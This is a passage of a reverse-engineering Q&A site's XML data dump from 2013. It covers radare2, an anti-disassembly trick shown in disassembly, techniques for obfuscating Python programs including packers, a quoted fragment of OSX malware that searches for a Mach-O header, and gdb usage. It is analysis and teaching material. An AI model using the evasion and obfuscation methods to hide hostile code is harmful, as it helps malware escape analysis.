LOAD_CONST               0 (None)&#xA;              8 RETURN_VALUE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-27T18:13:19.497" LastActivityDate="2013-04-27T18:13:19.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1940" PostTypeId="2" ParentId="1937" CreationDate="2013-04-27T13:56:09.143" Score="9" Body="&lt;p&gt;&lt;a href=&quot;http://radare.org&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; does support projects. They are not as sophisticated as IDAs .idb format, but they do the trick if saving patches and comments is all that you want.&#xA;(Just make sure to build it from &lt;a href=&quot;http://github.com/radare/radare2&quot; rel=&quot;noreferrer&quot;&gt;git&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Taken from the Radare2 Github README:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Webserver&lt;/h1&gt;&#xA;&lt;p&gt;radare2 comes with an embedded webserver that serves a pure html/js interface&#xA;that sends ajax queries to the core and aims to implement an usable UI for&#xA;phones, tablets and desktops.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -c=H /bin/ls&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yutKT.jpg&quot; alt=&quot;Radare2 Webserver vizualized on a mobile phone&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1862" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-05-02T12:53:01.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1941" PostTypeId="2" ParentId="1654" CreationDate="2013-04-27T17:26:06.080" Score="14" Body="&lt;p&gt;Now I cannot possibly know what the exact reason is here, but there is another very good reason, not mentioned so far, for using this kind of method: throwing off a disassembler during static analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanics of &lt;code&gt;call $+5&lt;/code&gt; have been discussed, so I'll assume they are known by now - otherwise refer to the other answers. Basically like with any &lt;code&gt;call&lt;/code&gt; on IA-32, the return address (the address of the instruction following the &lt;code&gt;call&lt;/code&gt;) gets &lt;code&gt;push&lt;/code&gt;ed to the stack and the &lt;code&gt;ret&lt;/code&gt; instruction inside that called function will presumably return to that address, assuming the stack hasn't been smashed meanwhile.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Fooling static analysis tools&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;What will even a sophisticated disassembler such as IDA do when it sees a &lt;code&gt;ret&lt;/code&gt; opcode? Well, it'll assume that the function boundary has been reached. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OTQrm.png&quot; alt=&quot;IDA trips over this trick&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this not being the first time I've seen such a thing, I went on and deleted the function, so IDA stops assuming it's a function boundary. If I then tell it to disassemble the very next byte (&lt;code&gt;0Fh&lt;/code&gt;) I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FVsB.png&quot; alt=&quot;IDA trips over this trick #2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the disassembler cannot realize and what is the reason why interactive disassemblers like Hopper and IDA rock so much, is that something special is going on here. Let's look at the instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;51                                      push    rcx&#xA;53                                      push    rbx&#xA;52                                      push    rdx&#xA;E8 00 00 00 00                          call    $+5&#xA;5A                                      pop     rdx&#xA;48 83 C2 08                             add     rdx, 8&#xA;52                                      push    rdx&#xA;C3                                      retn&#xA;0F 5A 5B 59                             cvtps2pd xmm3, qword ptr [rbx+59h]&#xA;89 DF                                   mov     edi, ebx&#xA;52                                      push    rdx&#xA;48 31 D2                                xor     rdx, rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The leading bytes are the actual bytes in the binary, followed by their mnemonic representation. But pay special attention to this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call    $+5&#xA;pop     rdx ; &amp;lt;- = ADDR&#xA;add     rdx, 8&#xA;push    rdx&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We get the address &lt;code&gt;ADDR&lt;/code&gt; in &lt;code&gt;rdx&lt;/code&gt; after the &lt;code&gt;pop&lt;/code&gt; instruction was executed. We know this much from the description of the mechanism in the other answers. But then it gets odd:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     rdx, 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we add ... uhm eight bytes to that address (&lt;code&gt;ADDR+8&lt;/code&gt;) and then we &lt;code&gt;push&lt;/code&gt; it to the stack and call &lt;code&gt;ret&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rdx&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you remember how a &lt;code&gt;call&lt;/code&gt; works then you'll remember that it pushes the return address to the stack, then passes execution to the called function and that function later calls &lt;code&gt;ret&lt;/code&gt; in order to return to the address found on the stack. This knowledge is being exploited here. It manipulates the &quot;return address&quot; before &quot;returning&quot; to it. But looking back at our disassembly we find to our surprise (or not ;)):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E8 00 00 00 00                          call    $+5&#xA;5A                                      pop     rdx&#xA;48 83 C2 08                             add     rdx, 8&#xA;52                                      push    rdx&#xA;C3                                      retn&#xA;0F 5A 5B 59                             cvtps2pd xmm3, qword ptr [rbx+59h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's count the opcode bytes (in your tool you can also do the math via the offsets, if you're so inclined):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;5A&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;48&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;83&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;C2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;08&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;52&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;C3&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0F&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But wait a minute, that means we're literally passing execution to the middle of this peculiar &lt;code&gt;cvtps2pd xmm3, qword ptr [rbx+59h]&lt;/code&gt;? That's right. Because &lt;code&gt;0Fh&lt;/code&gt; is one of the prefixes used when encoding instructions on IA-32. So the programmer has tricked our disassembler, but he won't trick us. Undefining that code and then skipping the &lt;code&gt;0Fh&lt;/code&gt; prefix we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;51                                      push    rcx&#xA;53                                      push    rbx&#xA;52                                      push    rdx&#xA;E8 00 00 00 00                          call    $+5&#xA;5A                                      pop     rdx&#xA;48 83 C2 08                             add     rdx, 8&#xA;52                                      push    rdx&#xA;C3                                      retn&#xA;0F                                      db  0Fh&#xA;5A                                      pop     rdx&#xA;5B                                      pop     rbx&#xA;59                                      pop     rcx&#xA;89 DF                                   mov     edi, ebx&#xA;52                                      push    rdx&#xA;48 31 D2                                xor     rdx, rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rYLrB.png&quot; alt=&quot;No longer tricked thanks to reverse engineer intervening&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The apparent single four-byte instruction &lt;code&gt;0F 5A 5B 59&lt;/code&gt; is now revealed to be bogus and instead we have to ignore the &lt;code&gt;0F&lt;/code&gt; and then resume at &lt;code&gt;5A&lt;/code&gt;, which decodes as &lt;code&gt;pop rdx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://code.google.com/p/corkami/wiki/OpcodesTables&quot; rel=&quot;noreferrer&quot;&gt;Ange's excellent opcode tables here&lt;/a&gt; to find out more about how instructions get encoded on IA-32.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-27T17:26:06.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1942" PostTypeId="2" ParentId="1934" CreationDate="2013-04-27T19:21:51.513" Score="2" Body="&lt;p&gt;perror's answer I think is the correct way to do it. I wanted to post the way I ended up doing this for other's sake just in case the issue I mentioned in my comment to perror's answer is correct. I don't have all my notes with me right now and will update if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I ran the program in gdb, set a break point in PyObject_New (or possibly PyObject_Init). I set the break point near the end of the function so that the object would be created. From there I was able to look into the object in memory to extract the byte code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this info back to pyREtic, I dumped function names and bytecode to a file from within GDB, modified pyREtic so that instead of calling co_code to get the bytecode, it would extract it from the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said, it has been a while now (the stackoverflow question was from Sept 2012). I'll look back over my notes and fill in the details.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastActivityDate="2013-04-27T19:21:51.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1943" PostTypeId="1" AcceptedAnswerId="1974" CreationDate="2013-04-27T20:06:56.917" Score="9" ViewCount="19445" Body="&lt;p&gt;This question is related to this  &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1934/is-it-possible-to-get-python-bytecode-without-using-co-code&quot;&gt;other one&lt;/a&gt;. I just wonder what are the techniques applicable and which can be found in the real world to obfuscate Python program (similar questions can be found on stackoverflow &lt;a href=&quot;https://stackoverflow.com/questions/261638/how-do-i-protect-python-code&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/576963/python-code-obfuscation&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1934/is-it-possible-to-get-python-bytecode-without-using-co-code/1942#1942&quot;&gt;mikeazo mentioned&lt;/a&gt; the fact that his program was provided with a custom Python interpreter, but what are the other techniques and how efficient are they ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2019-09-06T18:42:41.647" Title="What are the techniques and tools to obfuscate Python programs?" Tags="|tools|obfuscation|python|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1944" PostTypeId="2" ParentId="1724" CreationDate="2013-04-27T21:25:14.123" Score="8" Body="&lt;p&gt;Yes, there is DynamoRIO Kernel (DRK), which is a DynamoRIO (DR) port created by Peter Feiner at the University of Toronto (U of T). The current DR source tree; however, does not contain DRK, despite the existence of a branch. DRK has yet to be open sourced, and U of T is actively doing kernel DBT research using DRK and a new DBT framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are thinking of porting it yourself, the two main challenges are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Interrupts and how they interact with the code cache. DRK took the &quot;direct port&quot; approach. For example, where DR uses thread-private code caches, DRK uses CPU-private code caches. This results in a lot of annoyances w.r.t. transparency and interrupts.&lt;/li&gt;&#xA;&lt;li&gt;What level of transparency you want. DR was designed with a lot of transparency in mind, and DRK kept that promise. My experience with kernel instrumentation so far has been that it is remarkably well-behaved (unless you care about a small portion of device drivers). Transparency on several fronts can be sacrificed, but this is more challenging within the general DR framework.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="1866" LastEditDate="2013-04-27T21:41:32.360" LastActivityDate="2013-04-27T21:41:32.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1945" PostTypeId="2" ParentId="1943" CreationDate="2013-04-28T04:30:42.543" Score="7" Body="&lt;p&gt;I don't know of any specific Python obfuscation tools (probably because the kind of people who want to write obfuscated code aren't going to be doing it in Python, except for amusement/education).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I did need to obfuscate Python code, I'd probably use the same techniques you'd use for a program in any language. The lack of tools means you need to write your own obfuscator, but that's not too difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, think of anything you would do to reverse engineer a program and transform it to make that harder.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make your invariants complex. Transform program invariants into stuff like `(x ** y) % p == 457' or &quot;this data structure represents an achordal graph&quot;. Such invariants are highly unlikely to be guessed by a static or dynamic analysis tool and will take ages for humans to figure out. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mix together logic of different methods. Take every good design practice and do the opposite. Randomly inline portions of methods into other methods, and then rearrange the code. Duplicate portions of the CFG and randomly insert jumps between corresponding points in the two versions, then mutate them so they're not obviously duplicates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a packer. Bonus pointers if you only decrypt portions of the code when you actually need to execute them, and make the results depend on program state so it's difficult to determine the keys in advance. Try to make sure the original program never appears in memory at once.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main challenges to obfuscation are that it requires understanding of the program and usually hurts performance. The more extreme obfuscations are only applicable in cases where performance doesn't matter and withstanding intense scrutiny is important (i.e. malware).&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-04-28T04:30:42.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1946" PostTypeId="1" AcceptedAnswerId="1948" CreationDate="2013-04-28T11:36:50.347" Score="8" ViewCount="1614" Body="&lt;p&gt;I was reverse engineering a piece of code in &quot;Crisis&quot; for fun and I encountered the following :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__INIT_STUB_hidden:00004B8F                 mov     eax, 8FE00000h&#xA;__INIT_STUB_hidden:00004B94&#xA;__INIT_STUB_hidden:00004B94 loc_4B94:                               &#xA;__INIT_STUB_hidden:00004B94                 mov     ebx, 41424344h&#xA;__INIT_STUB_hidden:00004B99                 cmp     dword ptr [eax], 0FEEDFACEh&#xA;__INIT_STUB_hidden:00004B9F                 jz      short loc_4BB9&#xA;__INIT_STUB_hidden:00004BA1                 add     eax, 1000h&#xA;__INIT_STUB_hidden:00004BA6                 cmp     eax, 8FFF1000h&#xA;__INIT_STUB_hidden:00004BAB                 jnz     short loc_4B94&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is supposed to happen here? Why is the presence of &lt;code&gt;FEEDFACE&lt;/code&gt; expected at the address &lt;code&gt;8FFF0000&lt;/code&gt; or &lt;code&gt;8FFF1000&lt;/code&gt;? I understand that &lt;code&gt;feedface&lt;/code&gt;/&lt;code&gt;feedfacf&lt;/code&gt; are Mach-O magic numbers -- however why are they expected to be present at those addresses?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="245" LastEditDate="2013-04-28T15:53:50.767" LastActivityDate="2013-05-07T10:02:11.467" Title="FEEDFACE in OSX malware" Tags="|malware|osx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostTypeId="2" ParentId="1946" CreationDate="2013-04-28T13:42:03.430" Score="8" Body="&lt;p&gt;It's the Mach-O header magic. From &lt;code&gt;mach-o/loader.h&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Constant for the magic field of the mach_header (32-bit architectures) */&#xA;#define MH_MAGIC        0xfeedface      /* the mach magic number */&#xA;#define MH_CIGAM        0xcefaedfe      /* NXSwapInt(MH_MAGIC) */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In OS X, the Mach-O header is often included as part of the &lt;code&gt;__TEXT&lt;/code&gt; segment so it's mapped into memory. The code is searching for a Mach-O file mapped somewhere in that address range - probably some system library - possibly so it can search for a necessary function to call (enumerate Mach-O load commands to locate the symbol table, etc.).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-28T13:42:03.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1949" PostTypeId="1" CreationDate="2013-04-28T03:46:01.833" Score="10" ViewCount="1196" Body="&lt;p&gt;This is the code I am looking at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000000401048 &amp;lt;+70&amp;gt;:   mov    0x401ba0(,%rax,4),%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an array of 15 integers. Just wondering how I can access indices 0 to 15 in gdb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerDisplayName="user2303586" LastActivityDate="2013-04-28T21:15:33.133" Title="Trying to reverse engineer C code that is 64bit assembly" Tags="|c|assembly|gdb|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1950" PostTypeId="2" ParentId="1949" CreationDate="2013-04-28T04:06:58.373" Score="8" Body="&lt;pre&gt;&lt;code&gt;(gdb) dump binary memory dump.raw 0x401ba0 0x401bdc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dump memory into file &lt;code&gt;dump.raw&lt;/code&gt; from address &lt;code&gt;0x401ba0&lt;/code&gt; until address &lt;code&gt;0x401bdc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be &lt;a href=&quot;http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf&quot;&gt;examine&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x/nfu &amp;lt;address&amp;gt;&#xA;Print memory.&#xA;n: How many units to print (default 1).&#xA;f: Format character (like „print“).&#xA;u: Unit.&#xA;Unit is one of:&#xA;b: Byte,&#xA;h: Half-word (two bytes)&#xA;w: Word (four bytes)&#xA;g: Giant word (eight bytes)).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1868" OwnerDisplayName="0x90" LastActivityDate="2013-04-28T04:06:58.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostTypeId="2" ParentId="1949" CreationDate="2013-04-28T15:44:36.033" Score="13" Body="&lt;p&gt;GDB allows you to use C-style casts, so simply do this, if you know the address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print/x (int[15])(*0x401ba0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$1 = {0x5241c031, 0x41535341, 0x41554154, 0x55574156, 0x48e58948, 0x31f0e483, 0x31f631ff, 0xe8c931d2, 0xfffffb08, 0xc0314850, 0x580f0174, 0x7c00f883, 0xec8948c7, 0x415f415d, 0x415d415e}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have the address of your array in a register, you can also use the respective variable (&lt;code&gt;$eax&lt;/code&gt; etc).&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-28T15:44:36.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostTypeId="1" CreationDate="2013-04-28T16:30:31.063" Score="14" ViewCount="600" Body="&lt;p&gt;I am looking for a way to automatically represent the relation between the content of a PE file and how it would be loaded in memory - either an IDA plugin, a combination of pefile script+R/SVG...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that could look like this (hand drawn): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uYGIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Not necessarily something that already supports PE, but that could be extended freely to support PE)&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="53" LastEditDate="2013-04-29T16:38:43.213" LastActivityDate="2013-04-29T18:53:31.267" Title="Any way to represent the file-memory relation in a Portable Executable (PE) file?" Tags="|tools|pe|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostTypeId="2" ParentId="1937" CreationDate="2013-04-28T17:02:35.057" Score="5" Body="&lt;p&gt;You know, there was talks before about coming up with some kind of standard to share RE notes on woodman forums, that would be nice. But I usually just try and stay as neat as possible using notepad, and for collaborative work, I use Google Docs as well. &#xA;Lately I have taken up using Evernote for collaborative work too, only because using Google docs requires me to use the web interface for their document format.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2013-04-28T17:02:35.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostTypeId="2" ParentId="1869" CreationDate="2013-04-28T20:47:48.477" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://rammichael.com/multimate-assembler&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Multiline Ultimate Assembler&lt;/strong&gt;&lt;/a&gt; is a multiline (and ultimate) assembler (and disassembler) plugin for OllyDbg. It’s a perfect tool for modifying and extending a compiled executable functionality, writing code caves, etc.&lt;/p&gt;&#xA;" OwnerUserId="1879" LastEditorUserId="37138" LastEditDate="2021-06-17T15:32:45.253" LastActivityDate="2021-06-17T15:32:45.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1955" PostTypeId="2" ParentId="1949" CreationDate="2013-04-28T21:15:33.133" Score="4" Body="&lt;p&gt;For reading and writing to the 15 elements in the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set variable $A = (int*)0x401ba0&#xA;(gdb) p $A[0] = 1&#xA;...&#xA;(gdb) p $A[14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For examing their current value,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/15dw $A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2013-04-28T21:15:33.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1956" PostTypeId="1" AcceptedAnswerId="2157" CreationDate="2013-04-29T01:12:29.017" Score="9" ViewCount="923" Body="&lt;p&gt;In my &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1906/how-can-my-plugin-get-notified-of-anterior-or-posterior-comments-and-more-chan&quot;&gt;previous question&lt;/a&gt; I had originally asked for this, but since this aspect of the question was completely disregarded, I feel compelled to ask it separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are certain events apparently not covered in the IDA SDK. I learned in the above linked question that anterior and posterior comments are supported, but what about other events such as when I press &lt;kbd&gt;h&lt;/kbd&gt; (e.g. &lt;code&gt;2Ah&lt;/code&gt; becomes &lt;code&gt;42&lt;/code&gt;) to change the number to base 10 (and back) or &lt;kbd&gt;r&lt;/kbd&gt; to show it as character (e.g. &lt;code&gt;2Ah&lt;/code&gt; becomes &lt;code&gt;*&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about to catch these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; in general this question would also relate to IDA versions prior to the ones supporting a particular event notification. E.g. the IDA SDK 6.4, according to Igor, introduced notifications for anterior and posterior comments. How can I get older versions and 6.4 to co-operate w.r.t. those events in conjunction with &lt;a href=&quot;http://sourceforge.net/projects/collabreate/&quot; rel=&quot;nofollow noreferrer&quot;&gt;collabREate&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it is allowed to reverse engineer IDA itself, so what I am looking for are pointers.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-03-05T09:26:44.137" Title="How to get notified about IDA database events not covered in the IDA SDK?" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostTypeId="2" ParentId="1952" CreationDate="2013-04-29T11:11:30.580" Score="1" Body="&lt;p&gt;TeX (&lt;a href=&quot;http://www.texample.net/tikz/examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TikZ&lt;/a&gt;) could be used for it. See &lt;a href=&quot;https://tex.stackexchange.com/questions/102590/why-draw-diagrams-using-latex-when-there-are-open-source-tools-like-openoffice&quot;&gt;here&lt;/a&gt; for some discussion and examples.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-04-13T12:34:31.897" LastActivityDate="2013-04-29T11:11:30.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostTypeId="1" AcceptedAnswerId="1961" CreationDate="2013-04-29T16:28:50.237" Score="6" ViewCount="253" Body="&lt;p&gt;I'm reversing some malware on an OSX VM when I noticed something peculiar. While stepping through the instructions, the instruction just after a &lt;code&gt;int 0x80&lt;/code&gt; gets skipped &lt;em&gt;i.e.&lt;/em&gt; gets executed without me stepping through this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; int 0x80&#xA; inc eax ; &amp;lt;--- this gets skipped&#xA; inc ecx ; &amp;lt;--- stepping resumes here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does this happen? Have you encountered something similar to this?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="245" LastEditDate="2013-04-29T17:14:19.057" LastActivityDate="2013-04-29T17:25:11.013" Title="Strange GDB behavior in OSX" Tags="|malware|gdb|osx|x86|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1961" PostTypeId="2" ParentId="1958" CreationDate="2013-04-29T17:05:08.353" Score="12" Body="&lt;p&gt;When single-stepping through code, the &lt;code&gt;T&lt;/code&gt; flag is set so that the CPU can break after the instruction completes execution.  When an interrupt occurs, the state of the &lt;code&gt;T&lt;/code&gt; flag is placed on the stack, and used when the &lt;code&gt;iret&lt;/code&gt; instruction is executed by the handler.  However, the &lt;code&gt;iret&lt;/code&gt; instruction is one of a few instructions that causes a one-instruction delay in the triggering of the &lt;code&gt;T&lt;/code&gt; flag, due to legacy issues relating to the initialization of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the skipped instruction is executing but you can't step into it (but if you set a breakpoint at that location and run to that point instead, then you will get a break).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="53" LastEditDate="2013-04-29T17:25:11.013" LastActivityDate="2013-04-29T17:25:11.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1962" PostTypeId="1" AcceptedAnswerId="1963" CreationDate="2013-04-29T17:49:06.700" Score="4" ViewCount="771" Body="&lt;p&gt;Our team recently had to look at &lt;a href=&quot;http://www.sparc.com/standards/V8.pdf&quot; rel=&quot;nofollow&quot;&gt;SPARC assembly specifications&lt;/a&gt;, the problem is that I do not have a SPARC processor to try things on it (I should set up a simulator or get one of these old Sparc station on my desk... I know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow, the &lt;code&gt;ba&lt;/code&gt; (branch always) instruction puzzled me because it is a &lt;a href=&quot;http://en.wikibooks.org/wiki/SPARC_Assembly/SPARC_Details#Delayed_Branch&quot; rel=&quot;nofollow&quot;&gt;delayed branch execution&lt;/a&gt; instruction. This mean that the instruction located just &lt;strong&gt;after&lt;/strong&gt; the &lt;code&gt;ba&lt;/code&gt; get executed before the jump occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my colleague raised a very interesting question, what does occur in this case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x804b38 ba 0x805a10&#xA;0x804b3c ba 0x806844&#xA;...&#xA;0x805a10 add %r3, %r2, %r5&#xA;...&#xA;0x806844 sub %r3, %r5, %r2&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Our guess, following the specifications, is that the run should behave like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x805a10 add %r3, %r2, %r5&#xA;0x806844 sub %r3, %r5, %r2&#xA;0x806848 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which means that you can probably jump and pick up one instruction inside a block of others and run to the next &lt;code&gt;ba&lt;/code&gt;... I wonder what the CFG would look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever, it was the &quot;&lt;em&gt;simple&lt;/em&gt;&quot; case, what if we have dynamic jumps (the &lt;code&gt;jmp&lt;/code&gt; instruction is like a &lt;code&gt;ba&lt;/code&gt; but based on the address stored in the given register):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x804b38 jmp %r3&#xA;0x804b3c jmp 